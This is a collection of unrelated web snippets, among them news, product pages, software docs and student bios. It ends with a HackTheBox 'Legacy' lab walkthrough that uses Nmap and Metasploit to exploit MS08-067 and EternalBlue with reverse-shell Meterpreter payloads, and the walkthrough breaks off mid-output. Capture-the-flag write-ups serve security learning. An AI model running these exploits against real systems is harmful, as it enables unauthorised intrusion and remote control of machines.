This demo is based on TwitLogic, an aggregating service capable of collecting user-contributed semantic nanotations from Twitter. By presenting a user interface that combines faceted navigation and real-time Twitter streams, we demonstrate how the potential of the embeded semantic data within tweets can be exploited to facilitate better search and navigation of real-time contents.
Trying out this demo is amazingly simple! First, spend two minutes going through the Syntax Convention defined by TwitLogic. Then, open up your favorite Twitter client to write down whatever you want to say about this WWW 2010 conference, or about any subevents of it. As a LOD enthusiast, you might want to tweet about this LDOW workshop:
#LDOW2010 (part of #www2010) is about to start, expecting a bunch of great presentations!You migt also want to tweet about a particular talk:
Next will be @joshsh talking about #TwitLogic (see http://bit.ly/aOnQb7). #ldow10 (ie #ldow2010)TwitLogic understands your tweet, extracts the embeded structured data, processes them to generate RDF streams and finally, your tweets appear in our demo, becoming part of the real-time view of the LDOW workshop!
We really hope you will like this demo and furthermore share with us your thoughts on it and on TwitLogic in general. We also look forward to the uptake and viral effect of user-contributed structured data in Twitter from a broad user community. Let's make it happen!


S. Korea football coach defends style of play
South Korea men’s football head coach Paulo Bento fended off criticism of the team’s attacking style on Wednesday, saying the current strategy is best suited for his squad.
Bento returned home Wednesday from a disappointing trip to the Middle East. South Korea was held to a scoreless draw by the underdogs Lebanon in the second round of the Asian World Cup qualifying campaign in Beirut last Thursday, and then lost to Brazil 3-0 in a friendly in Abu Dhabi on Tuesday.
Paulo Bento, head coach of the South Korean men’s national football team, listens to a reporter’s question at Incheon International Airport on Nov. 20, 2019. (Yonhap)
South Korea have now been held scoreless in their last three matches, the longest such streak since Bento took the helm in September last year.
But the coach defended South Korea’s penchant for buildup play, in which the offense starts with defenders or even the goalkeeper playing the long ball.
“I think the buildup style of play is best suited for the South Korean team,” Bento told reporters at Incheon International Airport, when asked if he felt it was the right strategy to play with the team struggling to produce expected results.
“That’s why I’ve continued to use it, and I’ll try to improve it,” Bento added.
After four matches in the World Cup qualifying tournament, South Korea are in second place with eight points from two wins and two draws. Turkmenistan, who have played one more match, are in first place with nine points, thanks to three wins and two losses.
As for the team’s goalless drought, Bento said, “The important thing is to generate as many scoring opportunities as possible. We tried to do exactly that against Brazil, and we have to become more efficient around the net.”
Bento added that his players had difficulty with their buildup against Brazil because of their defenders’ pressure.
“I saw some positive things with the way our buildup play led to offensive chances,” Bento said. “The more important thing is for us to be more efficient with that.”


Order Page
Products
Product Details
PineApple Pro Max Ultra
Specifications
- Ultra Premium Design
- A14 bionic
- Dolby Vision Display
- Triple Camera Setup
Price
Rs. 1,69,000/- Only
(inclusive of all taxes)
Box Contains
- Smartphone
- Cable
NO CHARGER INCLUDED


#Using multiple nodes
#Sticky load balancing
If you plan to distribute the load of connections among different processes or machines, you have to make sure that requests associated with a particular session id connect to the process that originated them.
This is due to certain transports like XHR Polling or JSONP Polling relying on firing several requests during the lifetime of the “socket”.
To illustrate why this is needed, consider the example of emitting an event to all connected clients:
io.emit('hi', 'all sockets');
Chances are that some of those clients might have an active bi-directional communication channel like WebSocket
that we can write to immediately, but some of them might be using long-polling.
If they’re using long polling, they might or might not have sent a request that we can write to. They could be “in between” those requests. In those situations, it means we have to buffer messages in the process. In order for the client to successfully claim those messages when he sends his request, the easiest way is for him to connect to be routed to that same process.
An easy way to do that is by routing clients based on their originating address. An example follows using the NginX server:
#NginX configuration
Within the http { }
section of your nginx.conf
file, you can declare a upstream
section with a list of Socket.IO process you want to balance load between:
upstream io_nodes {
ip_hash;
server <IP_ADDRESS>:6001;
server <IP_ADDRESS>:6002;
server <IP_ADDRESS>:6003;
server <IP_ADDRESS>:6004;
}
Notice the ip_hash
instruction that indicates the connections will be sticky.
In the same http { }
section, you can declare a server { }
that points to this upstream. In order for NginX to support and forward the WebSocket
protocol, we explicitly pass along the required Upgrade
headers:
server {
listen 3000;
server_name io.yourhost.com;
location / {
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_http_version 1.1;
proxy_pass http://io_nodes;
}
}
Make sure you also configure worker_processes
in the topmost level to indicate how many workers NginX should use. You might also want to look into tweaking the worker_connections
setting within the events { }
block.
#Using Node.JS Cluster
Just like NginX, Node.JS comes with built-in clustering support through the cluster
module.
Fedor Indutny has created a module called sticky session that ensures file descriptors (ie: connections) are routed based on the originating remoteAddress
(ie: IP).
#Passing events between nodes
Now that you have multiple Socket.IO nodes accepting connections, if you want to broadcast events to everyone (or even everyone in a certain room) you’ll need some way of passing messages between processes or computers.
The interface in charge of routing messages is what we call the Adapter
. You can implement your own on top of the socket.io-adapter (by inheriting from it) or you can use the one we provide on top of Redis: socket.io-redis:
var io = require('socket.io')(3000);
var redis = require('socket.io-redis');
io.adapter(redis({ host: 'localhost', port: 6379 }));
If you want to pass messages to it from non-socket.io processes, you should look into “Sending messages from the outside-world”.


ABC
About
ACH
Activism
Advisor
AL-Tubes
Analysis
Blog
Borger
Brody
Brown
Buddhism
CBS
Choice
Civics
Civic Space
Collaboration
Communications
Community
Conference
Credibility
Decentralization
Deception Detection
del.icio.us
Deliberation
Dialogue
Digital Divide
Distribution
Diversity
Donnelly
Drupal
Echo Chamber Project
Economics
Ecosystem
Eco Village
Editing
Education
Errors
Evolution
Fair Use
FCC
Film
Final Cut Pro
FireANT
Folksonomy
Fundraising
Google
History
Human Rights
Identity
Intelligence Analysis
International Law
Interview
Journalism
Kent Bye
KM
Kwiatkowski
LAMP
Landay
Law
Lobe
Loiseau
Maine
Math
May
Media Criticism
Media Logic
Metaphor
Mitchell
Murphy
Music
Nature
NBC
New Media
NYT
Objectivity
O'Hanlon
Open Source
Philosophy of Science
Plante
Podcast
Political
Political Bias
PR
Senden
Psychology
Queen
Roadmap
Rosen
RSS
Schechter
Science
Screencast
Sirota
Sivaraksa
Skype
Social
Social Capital
Sociology
Software
Spiral Dynamics
Status
Strobel
Subjectivity
Sundance
Sustainability
Tagcloud
Theory
Thielmann
Thomas
Tiger
To Do
Training
Transcripts
Transparency
V-log
Volunteer
Website
Wedgwood
Wiki
Wilber
Worldview
XML
Show selected
New Tag
Remove Selected Tags
Toggle
About


DC Reveals First Look at Joker: Killer Smile #2
by Noah DominguezDC Comics has officially revealed a first look at Joker: Killer Smile #2 -- the second chapter in the Clown Prince of Crime's three-part Black Label title from writer Jeff Lemire and artist Andrea Sorrentino.
Killer Smile #2 revisits Arkham Asylum psychotherapist Dr. Ben Arnell, who promised his wife and child one thing: no matter how dark his work gets, he will never bring the madness that comes from associating with the Joker home and allow it to tear his family apart.
Unfortunately, it appears that was a promise he couldn't keep. DC promises Killer Smile #2 will kick this tale of the Joker's destructive influence into high gear. And that the issue "turns the entire story on its head, with disastrous consequences for Dr. Arnell."
Click the button below to start this article in quick view.
Notably, the preview pages provided by DC (which feature colors by Jordie Bellaire) see the good doctor in a rather tough position, being moved to anger and, eventually, tears -- making it clear the infamous villain is driving him to the edge. Meanwhile, the Joker himself can only laugh.
The preview pages also offer a guest appearances by a few familiar faces including the Joker's arch-nemesis Batman and fellow Arkham Asylum inmate Killer Croc. Moreover, DC has not only offered a look at Sorrentino's man cover, but also Kaare Andrews' variant -- which features the Clown Prince of Crime alongside Harley Quinn, Penguin, Two-Face and Bane. Finally, the Burbank-based publisher has provided a sneak peek at the cover for Joker: Killer Smile #3.
Written by Jeff Lemire and illustrated by Andrea Sorrentino with colors by Jordie Bellaire, Joker: Killer Smile #2 goes on sale Dec. 18 from DC Comics. The full solicitation information can be found beneath the preview.
Joker: Killer Smile #2 (of 3)
- Written by Jeff Lemire
- Interior art and Cover by Andrea Sorentino
- Colors by Jordie Bellaire
- Variant Cover by Kaare ANdrews
- DC BLACK LABEL - PRESTIGE PLUS FORMAT - APPROX. 8.5" x 10,875"
- In Shops: Dec 18, 2019
- SRP: $5.99
https://schema.orgBreadcrumbListListItem1Homehttps://www.cbr.com/ListItem2Comicshttps://www.cbr.com/category/comics/ListItem3Comic Newshttps://www.cbr.com/category/comics/news/ListItem4DC Reveals First Look at Joker: Killer Smile #2https://www.cbr.com/joker-killer-smile-2-first-look/


Enter each URL on a line in the text area below. They'll each be embedded in an iframe. Supports IE 8 and above.
If a site has implemented X-Frame-Options, the iframe will remain blank (no page loaded). A page may use frame busting to change the URL of the outer test page. We're catching this with an alert dialog.
Blocked frames should show errors if a developer console is open. Errors should look something along the lines of: Refused to display 'https://www.google.com/' in a frame because it set 'X-Frame-Options' to 'SAMEORIGIN'.
Refused to display 'https://www.google.com/' in a frame because it set 'X-Frame-Options' to 'SAMEORIGIN'.
MDN X-Frame-Options Reference. RFC 7034 Reference.


Problem solving is my passion. I always enjoyed math and entered University of Waterloo as a Computer Science student. Efficiency and clarity are the key puzzle pieces when I'm coding. Thriving to seek more skills as a third year CS student, I constantly think about how I can utilize those to both enrich the lives of the people and mine. I look forward to what I will and can do in the future and the present, and potentially with you!
Contact me!


Hi I Am James
Introducion
I have a brother called Andrew
I am 9 years old
My top 5 favourite video games
Minecraft
Fifa 17
Terraria
Fifa 16
2014 world cup


Heart Necklace
$12.95
Multi-print Scarf
$15.95
Gray Purse
$25.35
Owl Purse
$10.95
Painted Mugs
DIY Flower Heart
$26.30
Doily Decorations
Chalkboard Coasters
$11.95
Champagne Tasting
$75.00
Italian Dinner
$40.00
Christmas Dinner
$50.00
Hotel Getaway
$100.00


An interface to WordNet using the Jawbone Java API to WordNet. WordNet (<http://wordnet.princeton.edu/>) is a large lexical database of English. Nouns, verbs, adjectives and adverbs are grouped into sets of cognitive synonyms (synsets), each expressing a distinct concept. Synsets are interlinked by means of conceptual-semantic and lexical relations. Please note that WordNet(R) is a registered tradename. Princeton University makes WordNet available to research and commercial users free of charge provided the terms of their license (<http://wordnet.princeton.edu/wordnet/license/>) are followed, and proper reference is made to the project using an appropriate citation (<http://wordnet.princeton.edu/wordnet/citing-wordnet/>).
| Version: | 0.1-14 |
| Imports: | rJava (≥ 0.6-3) |
| Published: | 2017-11-26 |
| Author: | Ingo Feinerer [aut], Kurt Hornik [aut, cre], Mike Wallace [ctb, cph] (Jawbone Java WordNet API library) |
| Maintainer: | Kurt Hornik <Kurt.Hornik at R-project.org> |
| License: | MIT + file LICENSE |
| URL: | http://wordnet.princeton.edu/, https://sites.google.com/site/mfwallace/jawbone |
| NeedsCompilation: | no |
| SystemRequirements: | Java (>= 5.0); WordNet database files (direct download: <http://wordnetcode.princeton.edu/3.0/WNdb-3.0.tar.gz>; Debian and Fedora package: wordnet) |
| Citation: | wordnet citation info |
| In views: | NaturalLanguageProcessing |
| CRAN checks: | wordnet results |
| Reference manual: | wordnet.pdf |
| Vignettes: |
Introduction to the wordnet Package |
| Package source: | wordnet_0.1-14.tar.gz |
| Windows binaries: | r-devel: wordnet_0.1-14.zip, r-release: wordnet_0.1-14.zip, r-oldrel: wordnet_0.1-14.zip |
| OS X binaries: | r-release: wordnet_0.1-14.tgz, r-oldrel: wordnet_0.1-14.tgz |
| Old sources: | wordnet archive |
Please use the canonical form https://CRAN.R-project.org/package=wordnet to link to this page.


Spend more time writing code and less time maintaining your tool chain.
Try Git Lab for FreeUsed by more than 100,000 organizations around the globe
Whether you use Waterfall, Agile, or Conversational Development, GitLab streamlines your collaborative workflows. Visualize, prioritize, coordinate, and track your progress your way with GitLab’s flexible project management tools.
Real time view across the entire lifecycle
Collaborate without waiting
Develop and operate with confidence
Integrated teams working together
GitLab is the first single application built from the ground up for all stages of the DevOps lifecycle for Product, Development, QA, Security, and Operations teams to work concurrently on the same project. GitLab enables teams to collaborate and work from a single conversation, instead of managing multiple threads across disparate tools. GitLab provides teams a single data store, one user interface, and one permission model across the DevOps lifecycle allowing teams to collaborate, significantly reducing cycle time and focus exclusively on building great software quickly.
GitLab + Google Cloud Platform = simplified, scalable deployment
GitLab’s native Google Kubernetes Engine integration increases developer productivity. With Auto DevOps, GitLab automatically configures CI/CD pipelines to build, test, verify, and deploy applications to Google Cloud Platform.
Learn moreDev, QA, Security and Operations are part of a single conversation throughout the lifecycle. Detect problems earlier by ‘shifting them to the left’ and solving them with out delays.
Teams work at the same time instead of waiting for Security, QA, and Operations handoffs because teams are backlogged.
Try GitLab Ultimate free for 30 days.
Evaluate self-hosted GitLab for 30 days and receive all the features of Ultimate, our top-tier subscription plan, for free. No credit card required.
“We decided to use an Open Source based platform so we can participate in the development and contribute to the features and concepts we need such as file size statistics, OpenID Connect, GPG, and Docker Registry. GitLab's built-in Continuous Integration and independent CI Runners allows our developers to integrate very specific environments, boosting productivity and increasing developer satisfaction.”
View more customersPeople are #movingtogitlab. New users can get 75% off on Gold or Ultimate for one year.
Read More →Drive business growth. Streamline enterprise. Innovate your future.
Join us →


Cookie Parser
Paste your cookie below. Obtain it by entering
document.cookie
in your dev toolbar.
Parse It
Load & Parse
Alternatively, you can load the cookies for this current domain and parse them.


Miscellaneous functions for data analysis, graphics, data manipulation, statistical investigation, including descriptive statistics, creating leading and lagging variables, portfolio return analysis, time series difference and percentage change calculation, stacking data for higher efficient analysis.
| Version: | 0.1.2 |
| Imports: | robust, ggplot2, grid |
| Published: | 2018-11-21 |
| Author: | Manuel Russon, Xuanhua "Peter" Yin |
| Maintainer: | Xuanhua "Peter" Yin <peteryin.sju at hotmail.com> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: | no |
| Materials: | NEWS |
| CRAN checks: | PMmisc results |
| Reference manual: | PMmisc.pdf |
| Package source: | PMmisc_0.1.2.tar.gz |
| Windows binaries: | r-devel: PMmisc_0.1.2.zip, r-release: PMmisc_0.1.2.zip, r-oldrel: PMmisc_0.1.2.zip |
| OS X binaries: | r-release: PMmisc_0.1.2.tgz, r-oldrel: PMmisc_0.1.2.tgz |
| Old sources: | PMmisc archive |
Please use the canonical form https://CRAN.R-project.org/package=PMmisc to link to this page.


I am experienced in leveraging agile frameworks to provide a robust synopsis for high level overviews. Iterative approaches to corporate strategy foster collaborative thinking to further the overall value proposition.
Bring to the excellent performance to the client side with famous Front End Frameworks, Also continuous monitoring the apps and client interaction. Providing efficient data source from Oracle and MongoDB through protected RESTfull API from NodeJS.
Working with custom made IOT Prototype to ensure the addapet all type Existing IOT Module and Gazgets. Better customer supports and Product Development.Finding the IOT Market strategy to fullfill the Home / Industrials / Shops . Banking sectors across country.
Keeping energetic and curiosity in my eyes to start-up to knowing the Networking Technologies , Web Hosting Server Concepts and cloud computing. As a team performer moved to managing and troubleshooter the online / offline supports problems.
72%
Apart from being a web developer, I spend of my time with learning bug bounty concepts and research on IoT products
Reading the books and Cricket


WorldShadows()
语法
WorldShadows(Type [, Distance.f [, Color [, TextureSize]]])概要
Sets how shadows will be rendered in the world.
参数
Type Type can be one of the following values: #PB_Shadow_None : No shadows will be displayed in the world. This can save a lot of CPU power if shadows aren't needed (default) #PB_Shadow_Modulative: shadows will be displayed for entities that have the cast shadow set with EntityRenderMode() and #PB_Entity_CastShadow. This shadow mode is the fastest available, but is not very good-looking as the shadows are not translucent. #PB_Shadow_Additive : shadows will be displayed for the entities which have the cast shadow set with EntityRenderMode() and #PB_Entity_CastShadow. This mode is slower than the modulative mode, but it looks much better as the shadows are translucent. Also if some shadows overlap, the shadows will be added resulting in a more realistic darker result. #PB_Shadow_TextureAdditive: shadows will be displayed for the entities which have the cast shadow set with EntityRenderMode() and #PB_Entity_CastShadow. This mode is average in speed and quality between modulative and additive shadow, and will work even with water. #PB_Shadow_TextureModulative: shadows will be displayed for the entities which have the cast shadow set with EntityRenderMode() and #PB_Entity_CastShadow. This shadow mode is the faster than #PB_Shadow_TextureAdditive but is not very good-looking as the shadows are not translucent.Distance (optional) Maximum distance from the camera, in world unit, above which the shadows won't be calculated anymore. Color (可选) Color of the shadows. RGB() can be used to get a valid Color value. TextureSize (optional) Pixel size of the texture used to render the shadow. The bigger it is it, the better the shadow will be looking, but the slower it will be. The default value is 512, and this value shouldn't be bigger than 4096.
返回值
无.
已支持操作系统
所有


jl777c
20-Aug-18 06:41 AM
currently the CC contracts are done at the source level
it is linked in and part of the komodod codebase
now, it would be possible to make some sort of dynamic linked library to include external code
this library would have the identical code functions as the current CC contracts. look at faucet.cpp it is 100 lines and not very complex at all
so whatever language that can create compiled code that can be linked into komodod, those are the languages that can be used. I wouldnt recommend interpreted language
and the model now is to make a CC contract that can spawn new instances of it via rpc calls. and to limit any repetitive actions and rather be transaction invoked to get runtime. So for assets CC, you do a tx that locks coins/assets into a special address and the other party spends that tx to complete the trade
let us not get too abstract
let us stick to specific questions on how to do some specific thing.
I think that will then make it much clearer how it all works
start by reading faucet.cpp, then rewards.cpp, then dice.cpp and assets.cpp if you are ready for that level of complexity
probably we need someone to make onboarding doc to allow a new dev to come up to speed, however it will require knowing how utxo work. so if we can find pre-existing docs about utxo, a new dev can start with that
once you understand utxo, then it will become much clearer. if you dont, it will just be confusing
6
1


Configuration
Under Development. Random notes follow:
The default configuration file is named "oswf.xml" in the root of the classpath.
If not configuration file is specified or "oswf.xml" is not found in the classpath. the default workflow engine will use an in-memory persistent store and in-memory property set along with the URLLoader. This is useful for writing unit tests and short tutorials without a configuration causing unnecessary confusion.
OSWf has two build-in loaders, JDBCLoader and URLLoader.
More to come with examples.


Hello!!My Name is Ardorki Kamar,I'm currently pursuing my Btech(Information Technolohy) in North Eastern Hill University,Shillong.
This website is being made as part of the given assignment and I believe it will also help someone to explore our small state Meghalaya particularly.The main aim of me creating this webpage is to bring the attention of the user towards our state thereby make them aware of the different tourist spot,facilities available in our area.Afterall,It's better to see something once than to hear about it a hundred times.
“The traveller sees what he sees. The tourist sees what he has come to see.”
― G.K Chesterson
Thank You!!!


HackTheBox - legacy
Recon
Let’s fire Nmap and see if it can find any fun service running on the host! I use an environment variable to store the IP of the machine so I don’t have to type it all the time and I don’t fat finger and scan the wrong machine (that definitely didn’t happen in real life):
$ export TARGET=<IP_ADDRESS>
$ sudo nmap -T4 -p- -oA nmap_tcp $TARGET
Nmap scan report for <IP_ADDRESS>
Host is up (0.044s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp closed ms-wbt-server
This machine looks pretty straight-forward, there’s only one service running: Samba. And we also know that it’s a Windows machine.
Before running more recon, tiny table to keep track of services and information about them, that I complete as I find new information:
| Port | Service | Version | Vuln? |
|---|---|---|---|
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn | yes |
| 445/tcp | microsoft-ds | Windows XP microsoft-ds | yes |
Services
139,445/TCP smb
Let’s run a more precise Nmap scan to see if we can get more information about the OS version and the smb version:
$ sudo nmap -sS -A -p 139,445 $TARGET
Nmap scan report for <IP_ADDRESS>
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP|2003|2008|2000 (92%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_2000::sp4
Aggressive OS guesses: Microsoft Windows XP SP3 (92%), Microsoft Windows Server 2003 SP1 or SP2 (90%), Microsoft Windows XP (89%), Microsoft Windows Server 2003 SP2 (89%), Microsoft Windows Server 2008 Enterprise SP2 (88%), Microsoft Windows XP SP2 or Windows Server 2003 (88%), Microsoft Windows 2000 SP4 (88%), Microsoft Windows 2003 SP2 (87%), Microsoft Windows XP SP2 (87%), Microsoft Windows 2000 SP4 or Windows XP SP2 or SP3 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_clock-skew: mean: 5d00h32m17s, deviation: 2h07m16s, median: 4d23h02m17s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:c7:e3 (VMware)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2020-10-20T12:21:23+03:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 44.49 ms <IP_ADDRESS>
2 45.91 ms <IP_ADDRESS>
- There’s a high chance we have a Windows XP in front of us
- I’m pretty sure that smb on Windows XP has a bunch of CVEs
Can we get anything by connecting on the Samba share?
$ smbclient -L //<IP_ADDRESS>
Enter WORKGROUP\kali's password:
session setup failed: NT_STATUS_INVALID_PARAMETER
Apparently not. Nevermind, let’s run some Nmap script that targets smb vulnerabilities, you can find the list in /usr/share/nmap/scripts/
:
$ ls /usr/share/nmap/scripts/ | grep "smb-vuln"
smb-vuln-conficker.nse
smb-vuln-cve2009-3103.nse
smb-vuln-cve-2017-7494.nse
smb-vuln-ms06-025.nse
smb-vuln-ms07-029.nse
smb-vuln-ms08-067.nse
smb-vuln-ms10-054.nse
smb-vuln-ms10-061.nse
smb-vuln-ms17-010.nse
smb-vuln-regsvc-dos.nse
smb-vuln-webexec.nse
$ sudo nmap -Pn -p445 $TARGET --script=smb-vuln*
Nmap scan report for <IP_ADDRESS>
Host is up (0.050s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
Nmap done: 1 IP address (1 host up) scanned in 10.55 seconds
So, we have 3 vulnerabilities to check:
- MS17-010 also known as the infamous EternalBlue
- CVE-2009-3103
- MS08-067 CVE-2008-4250
For these highly popular vulns, we’ll use Metasploit to exploit them, run msfconsole
and let’s go!
MS08-067
msf5 > use exploit/windows/smb/ms08_067_netapi
[*] Using configured payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS <IP_ADDRESS> yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST <IP_ADDRESS> yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOST <IP_ADDRESS>
RHOST => <IP_ADDRESS>
msf5 exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] <IP_ADDRESS>:445 - Automatically detecting the target...
[*] <IP_ADDRESS>:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] <IP_ADDRESS>:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] <IP_ADDRESS>:445 - Attempting to trigger the vulnerability...
[*] Sending stage (176195 bytes) to <IP_ADDRESS>
[*] Meterpreter session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:1031) at 2020-10-14 15:26:00 -0400
Yay, we got a Meterpreter shell /o/ You can skip to the Post-Exploitation section for the end of the write-up or stick around to see another way to exploit it.
MS09-050
msf5 > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
[*] Using configured payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set RHOST <IP_ADDRESS>
RHOST => <IP_ADDRESS>
msf5 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > show options
Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS <IP_ADDRESS> yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
WAIT 180 yes The number of seconds to wait for the attack to complete.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST <IP_ADDRESS> yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
msf5 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] <IP_ADDRESS>:445 - Connecting to the target (<IP_ADDRESS>:445)...
[*] <IP_ADDRESS>:445 - Sending the exploit packet (938 bytes)...
[*] <IP_ADDRESS>:445 - Waiting up to 180 seconds for exploit to trigger...
[*] Exploit completed, but no session was created.
No success there, but that exploit was targeted at a more recent OS than our Windows XP:
msf5 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > show targets
Exploit targets:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
Moving on ~~
MS17-010
No luck with the smb_ms17_010
module…
msf5 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] <IP_ADDRESS>:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] <IP_ADDRESS>:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1
[*] <IP_ADDRESS>:445 - Scanned 1 of 1 hosts (100% complete)
[*] <IP_ADDRESS>:445 - Connecting to target for exploitation.
[+] <IP_ADDRESS>:445 - Connection established for exploitation.
[+] <IP_ADDRESS>:445 - Target OS selected valid for OS indicated by SMB reply
[*] <IP_ADDRESS>:445 - CORE raw buffer dump (11 bytes)
[*] <IP_ADDRESS>:445 - 0x00000000 57 69 6e 64 6f 77 73 20 35 2e 31 Windows 5.1
[+] <IP_ADDRESS>:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] <IP_ADDRESS>:445 - Trying exploit with 12 Groom Allocations.
[*] <IP_ADDRESS>:445 - Sending all but last fragment of exploit packet
[*] <IP_ADDRESS>:445 - Starting non-paged pool grooming
[+] <IP_ADDRESS>:445 - Sending SMBv2 buffers
[+] <IP_ADDRESS>:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] <IP_ADDRESS>:445 - Sending final SMBv2 buffers.
[*] <IP_ADDRESS>:445 - Sending last fragment of exploit packet!
[*] <IP_ADDRESS>:445 - Receiving response from exploit packet
[+] <IP_ADDRESS>:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] <IP_ADDRESS>:445 - Sending egg to corrupted connection.
[*] <IP_ADDRESS>:445 - Triggering free of corrupted buffer.
[-] <IP_ADDRESS>:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
